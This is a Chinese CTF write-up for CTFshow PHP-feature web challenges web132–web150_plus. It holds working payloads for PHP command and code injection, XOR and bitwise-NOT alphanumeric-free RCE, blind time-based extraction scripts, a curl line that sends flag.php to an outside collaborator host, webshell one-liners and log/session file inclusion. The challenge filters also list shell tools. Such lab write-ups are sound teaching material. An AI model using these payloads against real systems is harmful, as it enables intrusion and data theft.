CTFshow——PHP特性(下)
目录:
- web132——逻辑运算符的优先级
- web133——curl -F
- web134——php变量覆盖
- web135—— >xx.txt 写文件
- web136—— tee命令
- web137——调用类
- web138——call_user_func()数组形式调用类方法
- web139——盲打
- web140——松散比较==
- web141——无字母数字的RCE 、取反
- web142——0
- web143——无字母数字的RCE 、异或 、* / 号
- web144——无字母数字的RCE 、取反、+号
- web145——无字母数字的RCE 、异或 、三目运算符
- web146——无字母数字的RCE 、异或 、|号
- web147——create_function代码注入
- web148——无字母数字的RCE 、异或
- web149——条件竞争
- web150——日志包含
- web150_plus——session文件包含
web132——逻辑运算符的优先级
打开是一个网站,访问robots.txt
得到指引/admin
<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){$username = (String)$_GET['username'];$password = (String)$_GET['password'];$code = (String)$_GET['code'];if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == 'admin'){echo $flag;}}
}
可以注意到&&
和||
的逻辑运算,查询下表发现&&
优先级高于||
payload:
?username=admin&password=6&code=admin
web133——curl -F
curl 的参数用法
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6个字母都还不够呀?!");}
}
参考Firebasky师傅的文章,写的很详细
我们传入
`$F `;sleep 3
substr($F,0,6)截取的是: `$F `;
即:eval(`$F `;)就会继续执行$F 其中:``是shell_exec()函数的缩写
而$F等于我们传入进来的值: `$F `;sleep 3
此时,sleep 3 就被执行了!
但是可以执行命令,无法回显
通过curl结合Burp带出flag.php
payload:
?F=`$F `;+curl -X POST -F xx=@flag.php http://j9t9eiduixuj9bxwv2e18b6wangd42.burpcollaborator.net# -X POST 指定 HTTP 请求的方法为 POST
# 其中-F 是带文件的形式发送post请求
# xx是上传文件的name值,flag.php就是上传的文件
web134——php变量覆盖
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {die(file_get_contents('flag.php'));
}
prase_str()
与extract():
parse_str():把查询字符串解析到变量中。
extract():从数组中将变量导入到当前的符号表
注意区别:
extract是将数组中元素分解,执行后数组的key值作为变量名,数组的value赋值给对应Key的变量,这样可以直接通过Key变量去访问,不用数组加key去访问。
即:从数组中创建变量parse_str是根据"="来分解字符串,主要用于对url参数的解析。
GET方法传参_POST[key1]=36d
parse_str()
将字符串解析到POST
数组中,数组此时就有了一个键值对
此时,效果上相当于以POST方法传参 key1=36d
extract($_POST)
在POST
数组中的创建变量,将变量key1
导入到当前的符号表
从而得到$key1=36d
web135—— >xx.txt 写文件
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){eval(substr($F,0,6));}else{die("师傅们居然破解了前面的,那就来一个加强版吧");}
}
没有限制写文件
?F=`$F `;nl flag.php>1.txt?F=`$F `;cp flag.php>1.txt?F=`$F `;mv flag.php>1.txt
web136—— tee命令
<?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
?>
Linux下的tee命令
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件
可见,其效果与>
类似
payload:
?c=ls /|tee 2
?c=nl /f149_15_h3r3|tee 2
web137——调用类
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}call_user_func($_POST['ctfshow']);
需要调用静态类
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法
payload:
ctfshow=ctfshow::getFlag #POST
web138——call_user_func()数组形式调用类方法
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}if(strripos($_POST['ctfshow'], ":")>-1){die("private function");
}call_user_func($_POST['ctfshow']);
考察了call_user_func()用数组形式调用类方法
详看:根据方法名调用call_user_func()详解
call_user_func()参数不仅可以是字符串,还有 数组形式!
call_user_func(array($classname, 'say_hello'));
调用classname这个类里的sya_hello方法array[0]=$classname 类名
array[1]=say_hello say_hello()方法
按照上述格式得到payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag #POST
web139——盲打
<?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
?>
没有写权限,不允许写文件
思路就是猜解文件名。盲打,像SQL盲注一样
用awk命令、cut命令截取字符
sleep命令确认是否正确awk NR==2 获取第二行信息
cut -c 1 截取第1个字符zsh下if语句的格式:if [[condition]] {command
} elif {} else {}
参考大佬的脚本:
获取文件名的脚本
import requests
import time
import string
str=string.ascii_letters+string.digits #生成所有字母与数字[a-zA-Z0-9]
result=""
for i in range(1,5):key=0for j in range(1,15):if key==1:breakfor n in str:payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)#print(payload)url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payloadtry:requests.get(url,timeout=(2.5,2.5))except:result=result+nprint(result)breakif n=='9':key=1result+=" "
猜解文件内容的脚本:
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"#获取小写字母与数字
result=""
key=0
for j in range(1,45):print(j)if key==1:breakfor n in str:payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)#print(payload)url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payloadtry:requests.get(url,timeout=(2.5,2.5)) #time()第一个参数是响应时间,第二个是读取时间except:result=result+nprint(result)break
web140——松散比较==
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){$f1 = (String)$_POST['f1'];$f2 = (String)$_POST['f2'];if(preg_match('/^[a-z0-9]+$/', $f1)){if(preg_match('/^[a-z0-9]+$/', $f2)){$code = eval("return $f1($f2());");if(intval($code) == 'ctfshow'){echo file_get_contents("flag.php");}}}
}
查看PHP类型比较表 可发现
0==“字符串”
返回的是TRUE
使$code=0
就可以了
intval('.')
(标点符号似乎都行)md5(phpinfo())
都可以使intval()=0
payload:
f1=current&f2=localeconv
f1=md5&f2=phpinfo
web141——无字母数字的RCE 、取反
<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
/^\W+$/
的意思:匹配[^a-zA-Z0-9_]
(任意个非单词字符、非数字字母下划线的字符)绕过无字母数字的方法参考yu师傅的脚本
绕过return的方式:
php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();
结合减号是可以执行phpinfo()命令的。(不一定是减号,还有加、乘、除号,若用加号。要用+
,要进行URL编码,这是个特殊字符,不进行编码会当作空格)
由上图可知,虽然会有warning但依然执行了system('cat ls.txt')
这样就好说了。构造出1-phpinfo()-1
就可以了,也就是说v1=1&v2=1&v3=-phpinfo()-
现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。
运行脚本构造system(‘tac f*’)
得到 (~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)
payload:
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-
拓展阅读:
记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)
web142——0
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){$v1 = (String)$_GET['v1'];if(is_numeric($v1)){$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);sleep($d);echo file_get_contents("flag.php");}
}
payload:
?v1=0 八进制
?v1=0x0 16进制
?v1=0e123 科学计数法
web143——无字母数字的RCE 、异或 、* / 号
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){die('get out hacker!');}else{$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
此题是web141的延申版
过滤了加减号,还有乘除号
过滤了取反号~
那就用异或^
异或脚本:
<?php/*author yu22x*/$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-# author yu22ximport requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"^\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)
payload:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")*
web144——无字母数字的RCE 、取反、+号
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && check($v3)){if(preg_match('/^\W+$/', $v2)){$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}function check($str){return strlen($str)===1?true:false;
}
?v1=1&v3=%2b&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5) #%2b是 + 的URL编码,当然,直接用 - * / 这三种也是可以
web145——无字母数字的RCE 、异或 、三目运算符
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
可用三目运算符 ? :
和 按位OR运算符|
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|
实在想不出来,爆破
web146——无字母数字的RCE 、异或 、|号
<?phphlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
过滤了:
冒号,用|
按位OR运算符
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):
web147——create_function代码注入
<?php
highlight_file(__FILE__);if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);}}
分析正则表达式:
/i
不区分大小写
/s
匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D
如果使用$限制结尾字符,则不允许结尾有换行
create_function:
参考这篇文章第一道题
create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。string create_function ( string $args , string $code )string $args 参数部分
string $code 方法代码部分举例:create_function('$name','echo $fname."Zhang"')
类似于:function fT($name) {echo $fname."Zhang";
}
正则很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。
本地Fuzz测试一下,思路就是在函数名头或者尾找一个字符
\ (URL编码为%5c)是爆破结果
在PHP的命名空间默认为
\
,所有的函数和类都在\
这个命名空间中,如果直接写函数名function_name()
调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()
这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
payload:
?show=echo "666";}system("cat f*");/* #GET
ctf=\create_function #POST
web148——无字母数字的RCE 、异或
异或处理,参考 web148
web149——条件竞争
<?php
error_reporting(0);
highlight_file(__FILE__);$files = scandir('./');
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}file_put_contents($_GET['ctf'], $_POST['show']); //file_put_contents会覆盖之前文件的内容$files = scandir('./');
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}
很明显条件竞争
一个发包创建文件
?ctf=1.php
show=<?php ststem("ls /");?>
一个发包读取文件
还可以写一句话木马到index.php文件中,然后执行命令
?ctf=index.php
show=<?php @eval($_POST[1]);?>
web150——日志包含
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);
}
一眼看过去,有点懵,变量有点多
看Hint是非预期的解法:文件包含,包含的是日志文件
那么重点就在下面这段代码:
if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);
}
如何使isVIP=1
?通过extract($_GET)
,?
后面传递isVIP=1
POST传:ctf=/var/log/nginx/access.log
然后便是日志包含的操作了,在UA头写一句话木马
web150_plus——session文件包含
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
}
多过滤了log
也即是说不能包含日志文件
但可用包含session文件
当然这是非预期解,预期解不会啊/(ㄒoㄒ)/~~
session文件包含的操作不多说了
CTFshow——PHP特性(下)相关推荐
- ctfshow php特性 下
目录 web113 web114 web115 web123(php解析特性) web125 web126 web127(php解析特性) web128 web129 web130 web131 we ...
- CTFshow php特性 web129
目录 源码 思路 题解 解法一 解法二 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11: ...
- rhel6系统中,mysql 5.6复制新特性下主从复制配置[基于GTID]
1.mysql5.6在复制方面的新特性: (1).支持多线程复制:事实上是针对每个database开启相应的独立线程,即每个库有一个单独的(sql thread).针对这样的改进,如果我们想实现多线程 ...
- ctfshow php特性(89——150plus)
web89 这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num ...
- ctfshow php特性 web89-web115 web123-150wp
php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...
- CTFshow php特性 web150plus
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web147
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web136
目录 源码 思路 题解 解法1 解法2 解法3 总结 源码 <?php error_reporting(0); function check($x){if(preg_match('/\\$|\. ...
- CTFshow php特性 web131
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
最新文章
- 利用JDK动态代理机制实现简单拦截器
- 26个导航设计非常独特的网站案例欣赏
- 八成Java开发者解答不了的问题
- iOS 推送通知 客户端实现
- 容器化之后如何节省云端成本?(二十七)
- PHP移动互联网开发笔记(3)——运算符
- java学习(105):字符串indexof,spilt,substring方法
- 爬虫小记:利用cookies跳过登陆验证码
- Python 语言简介与入门(1)
- 35款提升工作效率的工具软件
- SPSS Modeler18.0数据挖掘软件教程(六):聚类分析-K-means
- Mugeda(木疙瘩)H5案例课—交互视频类H5-岑远科-专题视频课程
- 第六章 多元函数微分学
- linux内存占用率高怎么办,Linux下如何解决高内存使用率问题?
- 开机内存占用过高解决方案
- Q1营收增长66%,Snap继续靠“广告业务”发家能长期利好么?
- 磁盘块管理器DiskBlockManager
- TCP实现可靠传输的实现
- c++算法:四数之和---固定两数,用夹逼法
- 【Web前端HTML5CSS3】——CSS语法与选择器(超级全面)